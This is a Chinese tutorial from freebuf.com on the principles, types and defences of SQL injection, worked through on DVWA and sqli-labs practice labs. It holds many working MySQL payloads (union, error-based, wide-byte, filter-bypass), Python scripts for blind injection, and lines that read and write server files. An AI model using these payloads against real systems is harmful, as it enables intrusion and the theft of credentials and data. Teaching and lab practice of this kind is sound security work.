SQL注入原理,分类及防御 – 作者:2er0hat

0x01.SQL注入产生的因素

(1)不严格校验
(2)恶意修改
(3)成功拼接并执行

0x02.检测是否存在注入的方法:

1.判断是否有注入(判断是否有未严格校验),什么类型的注入
(1)可控参数的改变能否影响页面显示结果
(2)输入的sql语句是否能报错–能通过数据库的报错,可以看到一些语句痕迹
(3)输入的sql语句能否不报错–语句能够成功闭合
2.语句是否能够被恶意修改
3.是否能否成功执行
4.获取想要的数据

0x03.SQL注入类型简述

1.布尔查询

or查询:可查到定义表中的字段值

2.union查询

(1)猜字段数 (select 1,2,3…. 或者 order by 1,order by 3… 都是看报错)
(2)如何获取库名,表名,字段名
(3)权限问题

3.information_schema(数据库字典)

information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,
每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。

information_schema.schemata中的列schema_name记录了所有数据库的名字
information_schema.tables中的列table_schema记录了所有数据库的名字
information_schema.tables中的列table_name记录了所有数据库的表的名字
information_schema.columns中的列table_schema记录了所有数据库的名字
information_schema.columns中的列table_name记录了所有数据库的表的名字
information_schema.columns中的列column_name记录了所有数据库的表的列的名字

MySQL版本5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。

5.0 以下是多用户单操作,5.0 以上是多用户多操做

example: select concat(table_name) from information_schema.tables where table_schema=database()

4.手动注入

(1)基于错误的注入:判断注入点?单引号?
(2)基于布尔的注入:闭合前面的sql语句,构造or和and的逻辑语句,– 用来注释后面所有语句
(3)基于union的注入:

user():当前用户名
     database():当前数据库名
     version():数据库版本信息
'union select 1,table_schema from information_schema.tables -- hh  #查库名
'union select 1,table_name from information_shcema.tables where table_schema="..." #查当前库中所有表
'union select 1,column_name from information_schema.columns where table_name="..."  #查当前表中所有字段
#concat实现字段拼接
'union select user,concat(first_name,'  ',last_name,'  ',password) from users -- '
#group_concat
#concat_ws

5.报错注入

`(1)extractvalue(xml_document,Xpath_string)                        从目标XML中返回包含所查询值的字符串`
`(2)Updatexml(xml_document,Xpath_string,new_value)      注入报错点在Xpath_string 位置,因此其它位置可以任意处理,譬如写1.`

DVWA Security=’low’:

1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# 0x7e为~的16进制ASCII码

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)#

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)#

1' and updatexml(1,concat(0x7e,(select group_concat(user_id,last_name) from users),0x7e),1)#

其中:
XML_document是string格式,为XML文档对象的名称
Xpath_string(Xpath格式的字符串),自主学习。
new_value,string格式,替换查找到的符合条件的数据

6.双注入(双查询报错注入,两个select)

原理: 利用group by主键冲突报错获取数据库信息.

几个函数:

floor()                     #向下取整
       rand()                      #返回(0,1)随机值,rand()*2 返回(0,2)随机值
       floor(rand()*2)             # 向下取整则返回值为0或1.
       group by                    #分组
       count()                    #返回当前的表的所有的记录数

举例:
Sqli-labs Less-11(payload)

uname=admin' union select 1,count(1) from information_schema.tables  group by
 group_concat( floor(rand()*2),(select table_name from information_schema.tables where table_schema='security' )) %23&passwd=123

7.布尔盲注

普通注入不能直接回显错误信息。

和时间盲注相同的是,每次只判断一个字符。

?id=1' and substr(database(),1,1)=1 #

示例:

Sqli-labs Less-6

该关卡只有两种返回结果,当查询存在时返回“You are in…”,否则返回为空。

?id=1' and 1=1 --+回显You are in………..

?id=1' and 1=2 --+不回显

根据这种情况,可以由substr()函数每次判断一个字符,python脚本进行布尔盲注,具体如下:

import requests
s = requests.Session()
url = 'http://localhost:8080/sqli-labs/Less-6/'
payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'
data = ''

for i in range(50):
    for j in payloads:
        payload = f"?id=1\" and substr(binary database(),{i},1)='{j}'%23"
        #payload = f"?id=1\" and substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'%23"
        #payload = f"?id=1" and substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'%23"
        #payload = f"?id=1" and substr((select binary group_concat(password,' ') from security.users) ,{i},1)='{j}'%23"
        if "You are in..........." in s.get(url+payload).text:
            data += j
            break
    print(data)

8.时间盲注

?id=1' union select(if(substr(database(),1,1))>1,sleep(3),1)         #此外还有bench()函数

示例:

Sqli-labs Less-9

此处可以发现无论查询对错都只回显You are in………..

测试?id=1′ and sleep(3)%23 页面会延时3秒再回显,判断为时间盲注.

编写脚本进行时间盲注,如下:

import requests
url = 'http://localhost:8080/sqli-labs/Less-9/'
payloads = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz[{\|]}^~_,'
data = ''
for i in range(50):
    for j in payloads:
        payload = f"?id=1' and if((substr(binary database(),{i},1)='{j}'),sleep(1),1)%23"
        #正确的时候等待1秒钟,不正确的时候直接返回
        # payload = f"?id=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(1),1)%23"
        #payload = f"?id=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(1),1)%23" 
        try:
            r = requests.get(url+payload, timeout=1)
        except Exception:
            data += j
            print(data)
            break

9.cookie注入

注入位置在http请求的cookie处

10.HTTP-Referer注入

注入位置在http请求的Referer处

11.SQL注入读取文件

Load_file(filename): 读取文件并返回改文件的内容作为一个字符串。

使用条件:
A.必须有权限读取且文件必须完全可读
B.欲读取文件必须在服务器上
C.必须指定文件的完整路径(绝对路径)
D.欲读取文件的大小必须小于max_allowed_packet

示例:
?id=-1' union select 1,2,Load_file("D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php") --+

写文件(into outfile):

?id=-1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-1\\index.php" --+

示例:

Sqli-labs Less-7

测试发现id=1’报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为((‘$id’))闭合,再根据提示Use outfile…,应该是使用导出语句了。

(1)首先判断是否有权限:

?id=1')) and (select count(*) from mysql.user)>0 --+

没有报错,具有root权限。

(2)于是将可以数据导出, 导出所有表:

?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+

(3)导出user表中所有列名:

?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+

(4)导出用户名和密码

?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\result.txt" --+

注意:在Mysql中,需要注意路径转义的问题,即用双斜杠分隔。

11.绕过

(1).绕过注释符过滤(#,–+)

示例:Sqli-labs Less-13

方法一(报错注入)
?id=1' or (extractvalue(1,concat(0x7e,version()))) or '
?id=1' or (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) or '

方法二(闭合后面的内容)
?id=' union select 1,'
...

(2).绕过and-or过滤

01.大小写绕过:

or的几种形式(Or,oR,OR,||)
and的几种形式(And,...,&&)     #对大小写敏感可使用

02.双写绕过

?id=1' oorrder by 1 --+
判断回显列数也可用:
?id=1' union select 1,2,3...   #(逐个尝试比较慢)
之后使用报错注入即可:
?id=-1' oorr extractvalue(1,concat(0x7e,database())) --+  #(获取当前数据库名)
或者使用:
?id=-1' || extractvalue(1,concat(0x7e,database())) --+
(3).绕过空格过滤
其他字符代替:
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
/**/ 代替空格
?id=1' or (内容) or (内容)'           #一种注入的形式

(4).内联注释过滤

形如/*!(关键字)*/

example:

/*!and*/

/*!select*/

(5).特殊字符转义与宽字节注入

特殊字符转义的三种方法:
(1)自定义转义函数

function check_addslashes($string){
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);
    //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);
    //escape double quote with a backslash
    return $string;
}

(2)调用函数 addslashes()

(3)调用函数 mysql_real_escape_string()

这几种方法都可能被宽字节注入绕过

宽字节注入原理分析:
以单引号’为例,它被转义为’,我们的目标是去掉反斜杠,将’逃逸出来。现在我们不输入’,而是输入%df’,被转义后它变成:%df’,也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字”運”,从而使得%27,也就是单引号逃逸。

宽字节注入与普通注入payload上的区别就是:在会被转义的字符前加上%df,”被吃掉,从而使得被转义字符逃逸。当然此处不一定必须是%df,只要(填充的字符+%5c)在GBK编码中,可以使得被转义字符逃逸就行,之后进行后续注入。

示例:Sqli-labs Less-32

payload1:?id=1'

可以看到此处的单引号被转义

payload2:?id=1%df'

根本原因:

character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding 使用不当。

解决方法:

统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为 UTF-8。或对数据进行正确的转义,如 mysql_real_escape_string+mysql_set_charset 的使用。

(6).二次注入

(7).过滤函数绕过

0x04.SQL注入防御

(1)代码层

01.黑名单
02.白名单
03.敏感字符过滤
04.使用框架安全查询
05.规范输出

(2)配置层

01.开启GPC
02.使用UTF-8

(3)物理层

01.WAF
02.数据库审计
03.云防护
04.IPS(入侵防御系统)
01.使用安全的API
02.对输入的特殊字符进行Escape转义处理
03.使用白名单来规范化输入验证方法
04.对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
05.服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

来源:freebuf.com 2021-03-06 17:16:00 by: 2er0hat

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论